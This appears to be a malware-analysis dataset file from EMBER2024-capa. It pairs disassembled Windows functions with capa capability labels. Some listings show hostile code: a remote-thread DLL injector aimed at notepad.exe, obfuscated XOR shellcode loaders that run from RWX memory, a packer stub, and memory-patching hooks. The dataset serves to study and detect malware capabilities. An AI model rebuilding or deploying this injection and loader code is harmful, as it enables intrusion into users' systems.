joyce8/EMBER2024-capa huggingface dataset:
Function at 0x458370
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], eax
xor eax, eax
push ebp
push 0x458473
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x14
lea eax, [ebp - 0x15]
push eax
push 0x1f
push 0x800
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x4583f2
lea edx, [ebp - 0x20]
lea eax, [ebp - 0x15]
call fcn.00408d18
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.004081c4
mov eax, dword [ebp - 0x1c]
mov edx, 0x458488
call fcn.0040488c
je 0x4583f2
push 0x458494
push 0x1f
push 0x800
call sub.kernel32.dll_SetLocaleInfoA
test eax, eax
je 0x4583f2
push 0
push 0
push 0x1a
push 0xffff
call sub.user32.dll_SendMessageA
push 0x14
lea eax, [ebp - 0x15]
push eax
push 0x1003
push 0x800
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x458458
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x15]
call fcn.00408d18
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x24]
call fcn.004081c4
mov eax, dword [ebp - 0x24]
mov edx, 0x4584a8
call fcn.0040488c
je 0x458458
push 0x4584b4
push 0x1003
push 0x800
call sub.kernel32.dll_SetLocaleInfoA
test eax, eax
je 0x458458
push 0
push 0
push 0x1a
push 0xffff
call sub.user32.dll_SendMessageA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45847a
lea eax, [ebp - 0x28]
mov edx, 4
call fcn.004044a4
ret
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x401bd7
pop dword [ebp - 4]
mov eax, 0x47761bed
add eax, 0xb8c9ffea
sub dword [ebp - 4], eax
mov dword [ebp - 0x14], 0xed6c8487
sub dword [ebp - 0x14], 0x9f1a3f3c
mov dword [ebp - 0x10], 0xaffe4d22
sub dword [ebp - 0x10], 0x7dcb00dd
mov dword [ebp - 0xc], 0x2c739b97
sub dword [ebp - 0xc], 0xe0275769
mov dword [ebp - 8], 0x15b2a454
sub dword [ebp - 8], 0x15b2a454
lea eax, [ebp - 0x14]
push eax
mov eax, 0x5fe50dee
add eax, 0xa05b6272
add eax, dword [ebp - 4]
call dword [eax]
mov dword [ebp - 0x14], 0x86d14f93
sub dword [ebp - 0x14], 0x125ee63d
mov dword [ebp - 0x10], 0x909ccf28
sub dword [ebp - 0x10], 0x4f306db3
mov dword [ebp - 0xc], 0x8dec7754
add dword [ebp - 0xc], 0xd582f518
mov dword [ebp - 8], 0x72450a10
sub dword [ebp - 8], 0x72450a10
lea ebx, [ebp - 0x14]
push ebx
push eax
mov eax, 0xda23a3f4
add eax, 0x261ccd0c
add eax, dword [ebp - 4]
call dword [eax]
push 0x40
push 0x1000
push 0x32397
push 0
call eax
mov ecx, 0x3699
xor esi, esi
add esi, eax
mov edx, 0x9e22bffb
add edx, 0x621e4005
add edx, dword [ebp - 4]
mov edi, 0x60d1ac2
mov ebx, dword [edx]
xor ebx, edi
mov dword [esi], ebx
add esi, 4
add edx, 4
loop 0x401cef
add eax, 0x7022fcf
add eax, 0xf8fe9d68
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xea1e56d8
sub ecx, 0xe9de56d8
add ecx, dword [ebp - 4]
call ebx
leave
ret
Function at 0x401000
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push dword [ebp + 8]
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, str.C:Program_FilesMsBeuil_ssntd.dll
push ebx
mov edi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 4
push 0x1000
lea esi, [eax + 1]
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
test eax, eax
je 0x401066
lea ecx, [ebp - 8]
push ecx
push esi
push ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x401066
cmp dword [ebp - 8], esi
je 0x401074
push 0x4000
push esi
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
push str.LoadLibraryA
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0xc]
push ecx
xor ecx, ecx
push ecx
push dword [ebp - 4]
push eax
push ecx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x4000
push esi
push dword [ebp - 4]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
xor eax, eax
inc eax
jmp 0x40106f

Function at 0x4010cb
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x134
mov eax, dword [0x409004]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
xor edi, edi
push edi
push edi
push edi
mov esi, str.notepad.exe
push esi
push str.open
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push edi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push ebx
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
jmp 0x40113d
lea eax, [esp + 0x34]
push eax
push esi
call fcn.0040564b
pop ecx
pop ecx
test eax, eax
je 0x40116b
lea eax, [esp + 0x10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x401120
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, di
push eax
call fcn.00401000
pop ecx
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00401171
mov esp, ebp
pop ebp
ret 0x10
mov edi, dword [esp + 0x18]
jmp 0x401148

Function at 0x401171
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x409004]
jne 0x40117b
repz ret
jmp fcn.00401320
Function at 0x40321b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402171
and dword [ebp - 0x14], 0
cmp dword [0x40a764], 0
mov dword [ebp - 0x18], eax
jne 0x4032ce
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x403376
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x403376
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x40a764], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x40a768], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x40a76c], eax
call edi
push eax
call esi
mov dword [0x40a774], eax
test eax, eax
je 0x4032ce
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x40a770], eax
mov eax, dword [0x40a770]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x403327
cmp dword [0x40a774], ecx
je 0x403327
push eax
call esi
push dword [0x40a774]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x403327
test ebx, ebx
je 0x403327
call edi
test eax, eax
je 0x40331e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40331e
test byte [ebp - 8], 1
jne 0x403327
or dword [ebp + 0x10], 0x200000
jmp 0x40335a
mov eax, dword [0x40a768]
cmp eax, dword [ebp - 0x18]
je 0x40335a
push eax
call esi
test eax, eax
je 0x40335a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40335a
mov eax, dword [0x40a76c]
cmp eax, dword [ebp - 0x18]
je 0x40335a
push eax
call esi
test eax, eax
je 0x40335a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x40a764]
call esi
test eax, eax
je 0x403376
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x403378
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401171
leave
ret
Function at 0x10005936
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x10005945
pop dword [ebp - 0x24]
mov eax, 0x1435ebe3
add eax, 0xfbca6d62
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x46fe2166
add dword [ebp - 0x34], 0x75423e5
mov dword [ebp - 0x30], 0x85b14832
add dword [ebp - 0x30], 0xac820413
mov dword [ebp - 0x2c], 0x43d37f47
add dword [ebp - 0x2c], 0x878c4e7
mov dword [ebp - 0x28], 0xb8421ca1
sub dword [ebp - 0x28], 0xb8421ca1
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xeae23319
sub dword [ebp - 0x34], 0x766fc9c3
mov dword [ebp - 0x30], 0xa129273f
sub dword [ebp - 0x30], 0x5fbcc5ca
mov dword [ebp - 0x2c], 0xacdc59aa
sub dword [ebp - 0x2c], 0x496ced3e
mov dword [ebp - 0x28], 0xe97ffbd9
sub dword [ebp - 0x28], 0xe97ffbd9
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xad09494e
add eax, 0x62f8b6b2
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x399d5
push 0
call eax
mov ecx, 0x71347635
add ecx, 0x8ecbc5f2
mov edi, eax
mov esi, 0x4b8a056b
sub esi, 0x3b87496b
add esi, dword [ebp - 0x24]
mov ebx, 0xbb91983f
mov dword [ebp - 0x18], 0x8814f0b5
mov edx, dword [esi]
xor dword [ebp - 8], ecx
add edx, ebx
sub dword [ebp - 0xc], edx
mov dword [edi], edx
sub dword [ebp - 0x20], 0x90615ed
add edi, 0x408fbc23
sub edi, 0x408fbc1f
add esi, 4
loop 0x10005a5c
add eax, 0xe36f
mov ebx, eax
add eax, 0xa524c9ef
add eax, 0x5adb3616
mov ecx, 0xecf10338
add ecx, 0x230efcc8
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0xe652cbf
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, 0x7bc728a3
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10007660
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37c8
call fcn.10072b00
mov eax, dword [0x100a500c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push dword [ecx]
lea eax, [ebp - 0x108]
xor esi, esi
push str..PhysicalDrive_d
push eax
call fcn.10007f30
add esp, 0xc
lea eax, [ebp - 0x108]
push esi
push esi
push 3
push esi
push 3
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10007883
push 0x2710
lea eax, [ebp - 0x37b8]
mov dword [ebp - 0x37bc], esi
push esi
push eax
mov dword [ebp - 0x37c0], esi
mov dword [ebp - 0x37c8], esi
mov dword [ebp - 0x37c4], esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push esi
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0xc
lea eax, [ebp - 0x37c8]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10007876
mov edx, dword [ebp - 0x37ac]
lea eax, [ebp - 0x8d8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100074d0
mov edx, dword [ebp - 0x37a8]
lea eax, [ebp - 0xcc0]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100074d0
mov edx, dword [ebp - 0x37a4]
lea eax, [ebp - 0x10a8]
push eax
push esi
lea ecx, [ebp - 0x37b8]
call fcn.100074d0
mov edx, dword [ebp - 0x37a0]
lea eax, [ebp - 0x4f0]
push eax
push 1
lea ecx, [ebp - 0x37b8]
call fcn.100074d0
add esp, 0x20
cmp byte [0x100a7460], 0
jne 0x10007839
movsx eax, byte [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
jne 0x100077b2
movsx eax, byte [ebp - 0x4dd]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isalnum]
add esp, 4
test eax, eax
je 0x10007839
xor ecx, ecx
nop dword [eax]
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x8d8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a705f], al
test al, al
jne 0x100077c0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0xcc0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a685f], al
test al, al
jne 0x100077e0
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x4f0]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a745f], al
test al, al
jne 0x10007800
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x10a8]
lea ecx, [ecx + 1]
mov byte [ecx + 0x100a6c5f], al
test al, al
jne 0x10007820
mov esi, 1
push 0x2710
lea eax, [ebp - 0x37b8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x37bc]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x37b8]
push eax
push 0
push 0
push 0x700a0
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
jmp 0x1000787c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10071759
mov esp, ebp
pop ebp
ret
Function at 0x100089a0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
mov eax, dword [0x100a500c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10008a21
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [esi]
push 0
push dword [ebp - 0xd0]
mov dword [ebp - 0xcc], eax
push 4
push esi
call edi
xor eax, eax
nop word [eax + eax]
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x100089f0
lea eax, [ebp - 0xd0]
push eax
push 0x40
push 4
push esi
call edi
mov eax, dword [ebp - 0xcc]
push 0
push dword [ebp - 0xd0]
mov dword [esi], eax
push 4
push esi
call edi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10071759
mov esp, ebp
pop ebp
ret 4

Function at 0x10008a40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
mov eax, dword [0x100a500c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x10008a87
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
xor eax, eax
xor byte [ebp + eax - 0xcc], al
inc eax
cmp eax, 4
jb 0x10008a64
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10071759
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.10071759
mov esp, ebp
pop ebp
ret 4

Function at 0x10008aa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10072f3d
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push esi
mov eax, dword [0x100a500c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
cmp dword [0x100a5e74], 0x10
mov eax, 0x100a5e60
cmovae eax, dword [0x100a5e60]
cmp byte [eax], 0
je 0x10008bba
mov ecx, dword [ebp + 8]
cmp byte [ecx], 0
je 0x10008bba
cmp dword [0x100a5ae4], 0x10
mov eax, 0x100a5ad0
cmovae eax, dword [0x100a5ad0]
cmp byte [eax], 0
je 0x10008bba
mov esi, 0x100afc60
mov edx, ecx
sub esi, ecx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
test al, al
jne 0x10008b16
mov edx, 0x100abc48
sub edx, ecx
nop word [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10008b30
mov ecx, dword [0x100a7ebc]
mov edx, 0x100a5e60
cmp dword [0x100a5e74], 0x10
push 0x100afc60
cmovae edx, dword [0x100a5e60]
mov eax, dword [ecx]
push edx
call dword [eax + 8]
test eax, eax
jne 0x10008bba
mov ecx, 0x98
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x10094a98]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x28], al
and ecx, 0x800000ff
jns 0x10008b8d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x14
jl 0x10008b70
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 4], 0
mov eax, dword [0x100ab464]
mov esi, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x4c]
mov ecx, dword [0x100ab464]
push eax
lea eax, [ebp - 0x28]
push eax
call dword [esi]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10008bd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10072f6d
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x100a500c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea esi, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae esi, dword [ebp + 8]
lea ecx, [esi + 1]
nop dword [eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x10008c10
sub esi, ecx
push esi
call fcn.1007208e
add esp, 4
xor edx, edx
mov edi, eax
test esi, esi
js 0x10008c3b
nop word [eax + eax]
xor byte [edx + edi], dl
lea ecx, [edx + edi]
inc edx
cmp edx, esi
jle 0x10008c30
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10008c71
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10008c67
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10008c67
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push edx
push ecx
call fcn.10072080
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x18

Function at 0x1000a040
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
xor esi, esi
test edi, edi
js 0x1000a077
nop
lea eax, [ebp - 8]
push eax
push 0x40
push 4
lea eax, [ebx + esi]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp esi, edi
jle 0x1000a060
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10071759
mov esp, ebp
pop ebp
ret 8

Function at 0x1000a330
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100a500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov ebx, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [edi], ecx
push 4
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
xor ecx, ebp
pop ebx
call fcn.10071759
mov esp, ebp
pop ebp
ret 8
Function at 0x1000a380
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1009dac8
push 0x100719e9
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x100a500c]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov byte [esi], 0xe8
mov dword [esi + 1], eax
mov eax, 5
mov dword [ebp - 0x28], eax
cmp eax, edi
jae 0x1000a3f2
mov byte [esi + eax], 0x90
inc eax
jmp 0x1000a3e4
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1000a40c
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10071759
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100160b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100a500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ebx, 0x1000
jbe 0x10016107
test eax, eax
je 0x10016107
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x10016106
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push dword [ebp - 0xc]
push ebx
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10071759
mov esp, ebp
pop ebp
ret

Function at 0x10016120
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a500c]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
cmp edi, 0x1000
jbe 0x1001615d
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
mov byte [edi], 0xcc
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10071759
mov esp, ebp
pop ebp
ret

Function at 0x10016170
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov edi, dword [0x100a9058]
mov ebx, edx
cmp edi, 0x1000
jbe 0x100161b9
test ebx, ebx
je 0x100161b9
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebx]
mov byte [edi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.10071759
mov esp, ebp
pop ebp
ret

Function at 0x10016490
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100a500c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
cmp ebx, 0x1000
jbe 0x100164ee
test edi, edi
je 0x100164ee
push esi
push edi
call fcn.1007208e
add esp, 4
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov eax, esi
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10071759
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.10071759
mov esp, ebp
pop ebp
ret 8